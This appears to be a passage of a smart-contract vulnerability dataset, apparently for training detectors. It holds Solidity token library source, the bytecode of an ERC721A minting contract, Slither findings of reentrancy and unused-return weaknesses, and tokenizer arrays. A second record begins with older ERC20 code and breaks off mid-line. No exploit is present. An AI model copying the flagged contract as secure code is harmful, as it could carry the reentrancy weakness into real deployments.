(returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x6080604052600436106102535760003560e01c8063715018a611610138578063b29f8f32116100b0578063d5abeb011161007f578063e33b7de311610064578063e33b7de31461071b578063e985e9c514610730578063f2fde38b146107795761029c565b8063d5abeb01146106cf578063d79779b2146106e55761029c565b8063b29f8f3214610646578063b88d4fde14610659578063c87b56dd14610679578063ce7c2ac2146106995761029c565b80639852595c11610107578063a22cb465116100ec578063a22cb465146105d9578063a7ecd37e146105f9578063a960c65f146106195761029c565b80639852595c146105895780639fd6db12146105bf5761029c565b8063715018a6146105215780638b83209b146105365780638da5cb5b1461055657806395d89b41146105745761029c565b80632f745c59116101cb57806348b750441161019a5780636352211e1161017f5780636352211e146104cc5780636c0360eb146104ec57806370a08231146105015761029c565b806348b750441461048c5780634f6ccce7146104ac5761029c565b80632f745c59146103f15780633a98ef3914610411578063406072a91461042657806342842e0e1461046c5761029c565b8063095ea7b3116102225780631916558711610207578063191655871461039157806323b872dd146103b157806326412aca146103d15761029c565b8063095ea7b31461035257806318160ddd146103725761029c565b806301ffc9a7146102a157806302fe5305146102d657806306fdde03146102f8578063081812fc1461031a5761029c565b3661029c577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b3480156102ad57600080fd5b506102c16102bc366004612d39565b610799565b60405190151581526020015b60405180910390f35b3480156102e257600080fd5b506102f66102f1366004612d83565b61086c565b005b34801561030457600080fd5b5061030d6108e2565b6040516102cd9190612ef4565b34801561032657600080fd5b5061033a610335366004612dc9565b610974565b6040516001600160a01b0390911681526020016102cd565b34801561035e57600080fd5b506102f661036d366004612cd6565b610a0f565b34801561037e57600080fd5b506000545b6040519081526020016102cd565b34801561039d57600080fd5b506102f66103ac366004612b98565b610b42565b3480156103bd57600080fd5b506102f66103cc366004612bec565b610cf3565b3480156103dd57600080fd5b506102f66103ec366004612d01565b610cfe565b3480156103fd57600080fd5b5061038361040c366004612cd6565b610d6b565b34801561041d57600080fd5b50600854610383565b34801561043257600080fd5b50610383610441366004612d71565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b34801561047857600080fd5b506102f6610487366004612bec565b610f09565b34801561049857600080fd5b506102f66104a7366004612d71565b610f24565b3480156104b857600080fd5b506103836104c7366004612dc9565b6111a8565b3480156104d857600080fd5b5061033a6104e7366004612dc9565b611224565b3480156104f857600080fd5b5061030d611236565b34801561050d57600080fd5b5061038361051c366004612b98565b6112c4565b34801561052d57600080fd5b506102f6611370565b34801561054257600080fd5b5061033a610551366004612dc9565b6113d6565b34801561056257600080fd5b506007546001600160a01b031661033a565b34801561058057600080fd5b5061030d611414565b34801561059557600080fd5b506103836105a4366004612b98565b6001600160a01b03166000908152600b602052604090205490565b3480156105cb57600080fd5b506012546102c19060ff1681565b3480156105e557600080fd5b506102f66105f4366004612ca9565b611423565b34801561060557600080fd5b506102f6610614366004612b98565b6114f5565b34801561062557600080fd5b50610383610634366004612b98565b60136020526000908152604090205481565b6102f6610654366004612df9565b611571565b34801561066557600080fd5b506102f6610674366004612c2c565b611820565b34801561068557600080fd5b5061030d610694366004612dc9565b6118af565b3480156106a557600080fd5b506103836106b4366004612b98565b6001600160a01b03166000908152600a602052604090205490565b3480156106db57600080fd5b5061038360105481565b3480156106f157600080fd5b50610383610700366004612b98565b6001600160a01b03166000908152600d602052604090205490565b34801561072757600080fd5b50600954610383565b34801561073c57600080fd5b506102c161074b366004612bb4565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561078557600080fd5b506102f6610794366004612b98565b61198a565b60006001600160e01b031982167f80ac58cd0000000000000000000000000000000000000000000000000000000014806107fc57506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061083057506001600160e01b031982167f780e9d6300000000000000000000000000000000000000000000000000000000145b8061086457507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b90505b919050565b6007546001600160a01b031633146108cb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b80516108de906011906020840190612a92565b5050565b6060600180546108f190612fd7565b80601f016020809104026020016040519081016040528092919081815260200182805461091d90612fd7565b801561096a5780601f1061093f5761010080835404028352916020019161096a565b820191906000526020600020905b81548152906001019060200180831161094d57829003601f168201915b5050505050905090565b6000610981826000541190565b6109f35760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201527f78697374656e7420746f6b656e0000000000000000000000000000000000000060648201526084016108c2565b506000908152600560205260409020546001600160a01b031690565b6000610a1a82611224565b9050806001600160a01b0316836001600160a01b03161415610aa45760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201527f657200000000000000000000000000000000000000000000000000000000000060648201526084016108c2565b336001600160a01b0382161480610ac05750610ac0813361074b565b610b325760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c0000000000000060648201526084016108c2565b610b3d838383611a6c565b505050565b6001600160a01b0381166000908152600a6020526040902054610bb65760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201526573686172657360d01b60648201526084016108c2565b6000610bc160095490565b610bcb9047612f32565b90506000610bf88383610bf3866001600160a01b03166000908152600b602052604090205490565b611ac8565b905080610c5b5760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201526a191d59481c185e5b595b9d60aa1b60648201526084016108c2565b6001600160a01b0383166000908152600b602052604081208054839290610c83908490612f32565b925050819055508060096000828254610c9c9190612f32565b90915550610cac90508382611b0e565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b610b3d838383611c27565b6007546001600160a01b03163314610d585760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108c2565b6012805460ff1916911515919091179055565b6000610d76836112c4565b8210610dea5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60448201527f647300000000000000000000000000000000000000000000000000000000000060648201526084016108c2565b600080549080805b83811015610e94576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610e4557805192505b876001600160a01b0316836001600160a01b03161415610e815786841415610e7357509350610f0392505050565b83610e7d81613012565b9450505b5080610e8c81613012565b915050610df2565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201527f6f776e657220627920696e64657800000000000000000000000000000000000060648201526084016108c2565b92915050565b610b3d83838360405180602001604052806000815250611820565b6001600160a01b0381166000908152600a6020526040902054610f985760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201526573686172657360d01b60648201526084016108c2565b6001600160a01b0382166000908152600d60205260408120546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561100957600080fd5b505afa15801561101d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110419190612de1565b61104b9190612f32565b905060006110848383610bf387876001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b9050806110e75760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201526a191d59481c185e5b595b9d60aa1b60648201526084016108c2565b6001600160a01b038085166000908152600e602090815260408083209387168352929052908120805483929061111e908490612f32565b90915550506001600160a01b0384166000908152600d60205260408120805483929061114b908490612f32565b9091555061115c9050848483611fa0565b604080516001600160a01b038581168252602082018490528616917f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a910160405180910390a250505050565b6000805482106112205760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560448201527f6e6473000000000000000000000000000000000000000000000000000000000060648201526084016108c2565b5090565b600061122f82612020565b5192915050565b6011805461124390612fd7565b80601f016020809104026020016040519081016040528092919081815260200182805461126f90612fd7565b80156112bc5780601f10611291576101008083540402835291602001916112bc565b820191906000526020600020905b81548152906001019060200180831161129f57829003601f168201915b505050505081565b60006001600160a01b0382166113425760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084016108c2565b506001600160a01b03166000908152600460205260409020546fffffffffffffffffffffffffffffffff1690565b6007546001600160a01b031633146113ca5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108c2565b6113d46000612115565b565b6000600c82815481106113f957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b6060600280546108f190612fd7565b6001600160a01b03821633141561147c5760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c657200000000000060448201526064016108c2565b3360008181526006602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516114e9911515815260200190565b60405180910390a35050565b6007546001600160a01b0316331461154f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108c2565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60125460ff166115e95760405162461bcd60e51b815260206004820152602c60248201527f434f4e5452414354204552524f523a206d696e74696e6720686173206e6f742060448201527f6265656e20656e61626c6564000000000000000000000000000000000000000060648201526084016108c2565b336000908152601360205260409020548190611606908490612f32565b111561167a5760405162461bcd60e51b815260206004820152603660248201527f434f4e5452414354204552524f523a20416464726573732068617320616c726560448201527f61647920636c61696d6564206d617820616d6f756e740000000000000000000060648201526084016108c2565b6010548261168760005490565b6116919190612f32565b111561172b5760405162461bcd60e51b815260206004820152604d60248201527f434f4e5452414354204552524f523a206e6f7420656e6f7567682072656d616960448201527f6e696e6720696e20737570706c7920746f20737570706f72742064657369726560648201527f64206d696e7420616d6f756e7400000000000000000000000000000000000000608482015260a4016108c2565b6040805130602080830191909152338284015260608201859052608082018490523460a0808401919091528351808403909101815260c0909201909252805191012061177990868686612167565b6117eb5760405162461bcd60e51b815260206004820152602160248201527f434f4e5452414354204552524f523a20496e76616c6964207369676e6174757260448201527f650000000000000000000000000000000000000000000000000000000000000060648201526084016108c2565b6117f533836121e8565b3360009081526013602052604081208054849290611814908490612f32565b90915550505050505050565b61182b848484611c27565b61183784848484612202565b6118a95760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527f6563656976657220696d706c656d656e7465720000000000000000000000000060648201526084016108c2565b50505050565b60606118bc826000541190565b61192e5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016108c2565b6000611938612362565b905060008151116119585760405180602001604052806000815250611983565b8061196284612371565b604051602001611973929190612e89565b6040516020818303038152906040525b9392505050565b6007546001600160a01b031633146119e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108c2565b6001600160a01b038116611a605760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016108c2565b611a6981612115565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6008546001600160a01b0384166000908152600a602052604081205490918391611af29086612f5e565b611afc9190612f4a565b611b069190612f7d565b949350505050565b80471015611b5e5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108c2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611bab576040519150601f19603f3d011682016040523d82523d6000602084013e611bb0565b606091505b5050905080610b3d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108c2565b6000611c3282612020565b80519091506000906001600160a01b0316336001600160a01b03161480611c69575033611c5e84610974565b6001600160a01b0316145b80611c7b57508151611c7b903361074b565b905080611cf05760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f766564000000000000000000000000000060648201526084016108c2565b846001600160a01b031682600001516001600160a01b031614611d7b5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f727265637460448201527f206f776e6572000000000000000000000000000000000000000000000000000060648201526084016108c2565b6001600160a01b038416611df75760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016108c2565b611e076000848460000151611a6c565b6001600160a01b03858116600090815260046020908152604080832080547fffffffffffffffffffffffffffffffff000000000000000000000000000000008082166fffffffffffffffffffffffffffffffff9283166000190183161790925594891680855282852080549283169287166001908101909716929092179091558784526003909252822080546001600160a01b03191690911767ffffffffffffffff60a01b1916600160a01b4267ffffffffffffffff160217905590611ece908590612f32565b6000818152600360205260409020549091506001600160a01b0316611f5657611ef8816000541190565b15611f56578251600082815260036020908152604090912080549186015167ffffffffffffffff16600160a01b0267ffffffffffffffff60a01b196001600160a01b039094166001600160a01b031990931692909217929092161790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610b3d9084906124c0565b604080518082019091526000808252602082015261203f826000541190565b6120b15760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360448201527f74656e7420746f6b656e0000000000000000000000000000000000000000000060648201526084016108c2565b815b6000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156121025791506108679050565b508061210d81612fc0565b9150506120b3565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6014546040805160008082526020820180845288905260ff871692820192909252606081018590526080810184905290916001600160a01b03169060019060a0016020604051602081039080840390855afa1580156121ca573d6000803e3d6000fd5b505050602060405103516001600160a01b0316149050949350505050565b6108de8282604051806020016040528060008152506125a5565b60006001600160a01b0384163b1561235a57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612246903390899088908890600401612eb8565b602060405180830381600087803b15801561226057600080fd5b505af1925050508015612290575060408051601f3d908101601f1916820190925261228d91810190612d55565b60015b612340573d8080156122be576040519150601f19603f3d011682016040523d82523d6000602084013e6122c3565b606091505b5080516123385760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527f6563656976657220696d706c656d656e7465720000000000000000000000000060648201526084016108c2565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b06565b506001611b06565b6060601180546108f190612fd7565b6060816123b2575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610867565b8160005b81156123dc57806123c681613012565b91506123d59050600a83612f4a565b91506123b6565b60008167ffffffffffffffff81111561240557634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561242f576020820181803683370190505b5090505b8415611b0657612444600183612f7d565b9150612451600a8661302d565b61245c906030612f32565b60f81b81838151811061247f57634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506124b9600a86612f4a565b9450612433565b6000612515826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166125b29092919063ffffffff16565b805190915015610b3d57808060200190518101906125339190612d1d565b610b3d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016108c2565b610b3d83838360016125c1565b6060611b06848460008561291a565b6000546001600160a01b0385166126405760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f2061646472657360448201527f730000000000000000000000000000000000000000000000000000000000000060648201526084016108c2565b61264b816000541190565b156126985760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e74656400000060448201526064016108c2565b6000841161270e5760405162461bcd60e51b815260206004820152602860248201527f455243373231413a207175616e74697479206d7573742062652067726561746560448201527f72207468616e203000000000000000000000000000000000000000000000000060648201526084016108c2565b6001600160a01b038516600090815260046020526040812080548692906127489084906fffffffffffffffffffffffffffffffff16612f07565b82546101009290920a6fffffffffffffffffffffffffffffffff8181021990931691831602179091556001600160a01b0387166000908152600460205260409020805487935090916010916127b3918591700100000000000000000000000000000000900416612f07565b82546101009290920a6fffffffffffffffffffffffffffffffff81810219909316919092169190910217905550600081815260036020526040812080546001600160a01b0319166001600160a01b0388161767ffffffffffffffff60a01b1916600160a01b4267ffffffffffffffff160217905581905b8581101561290f5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a483156128ef5761287d6000888488612202565b6128ef5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527f6563656976657220696d706c656d656e7465720000000000000000000000000060648201526084016108c2565b816128f981613012565b925050808061290790613012565b91505061282a565b506000819055611f98565b6060824710156129925760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016108c2565b843b6129e05760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016108c2565b600080866001600160a01b031685876040516129fc9190612e6d565b60006040518083038185875af1925050503d8060008114612a39576040519150601f19603f3d011682016040523d82523d6000602084013e612a3e565b606091505b5091509150612a4e828286612a59565b979650505050505050565b60608315612a68575081611983565b825115612a785782518084602001fd5b8160405162461bcd60e51b81526004016108c29190612ef4565b828054612a9e90612fd7565b90600052602060002090601f016020900481019282612ac05760008555612b06565b82601f10612ad957805160ff1916838001178555612b06565b82800160010185558215612b06579182015b82811115612b06578251825591602001919060010190612aeb565b506112209291505b808211156112205760008155600101612b0e565b600067ffffffffffffffff80841115612b3d57612b3d61306d565b604051601f8501601f19908116603f01168101908282118183101715612b6557612b6561306d565b81604052809350858152868686011115612b7e57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215612ba9578081fd5b813561198381613083565b60008060408385031215612bc6578081fd5b8235612bd181613083565b91506020830135612be181613083565b809150509250929050565b600080600060608486031215612c00578081fd5b8335612c0b81613083565b92506020840135612c1b81613083565b929592945050506040919091013590565b60008060008060808587031215612c41578081fd5b8435612c4c81613083565b93506020850135612c5c81613083565b925060408501359150606085013567ffffffffffffffff811115612c7e578182fd5b8501601f81018713612c8e578182fd5b612c9d87823560208401612b22565b91505092959194509250565b60008060408385031215612cbb578182fd5b8235612cc681613083565b91506020830135612be181613098565b60008060408385031215612ce8578182fd5b8235612cf381613083565b946020939093013593505050565b600060208284031215612d12578081fd5b813561198381613098565b600060208284031215612d2e578081fd5b815161198381613098565b600060208284031215612d4a578081fd5b8135611983816130a6565b600060208284031215612d66578081fd5b8151611983816130a6565b60008060408385031215612bc6578182fd5b600060208284031215612d94578081fd5b813567ffffffffffffffff811115612daa578182fd5b8201601f81018413612dba578182fd5b611b0684823560208401612b22565b600060208284031215612dda578081fd5b5035919050565b600060208284031215612df2578081fd5b5051919050565b600080600080600060a08688031215612e10578283fd5b853560ff81168114612e20578384fd5b97602087013597506040870135966060810135965060800135945092505050565b60008151808452612e59816020860160208601612f94565b601f01601f19169290920160200192915050565b60008251612e7f818460208701612f94565b9190910192915050565b60008351612e9b818460208801612f94565b835190830190612eaf818360208801612f94565b01949350505050565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612eea6080830184612e41565b9695505050505050565b6000602082526119836020830184612e41565b60006fffffffffffffffffffffffffffffffff808316818516808303821115612eaf57612eaf613041565b60008219821115612f4557612f45613041565b500190565b600082612f5957612f59613057565b500490565b6000816000190483118215151615612f7857612f78613041565b500290565b600082821015612f8f57612f8f613041565b500390565b60005b83811015612faf578181015183820152602001612f97565b838111156118a95750506000910152565b600081612fcf57612fcf613041565b506000190190565b600281046001821680612feb57607f821691505b6020821081141561300c57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561302657613026613041565b5060010190565b60008261303c5761303c613057565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611a6957600080fd5b8015158114611a6957600080fd5b6001600160e01b031981168114611a6957600080fdfea2646970667358221220c121d947f072ded5d883b76a8853d5164e6c2bf0a0e514611388b2d84366152264736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 2063, 12376, 2546, 19961, 2620, 17465, 22907, 2683, 2487, 2278, 14142, 10354, 2575, 2509, 2546, 16409, 21486, 3540, 2487, 2546, 2487, 2050, 2575, 2475, 2050, 26224, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 5446, 1013, 10504, 24759, 27100, 2099, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,729
0x973e52691176d36453868d9d86572788d27041a9
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value 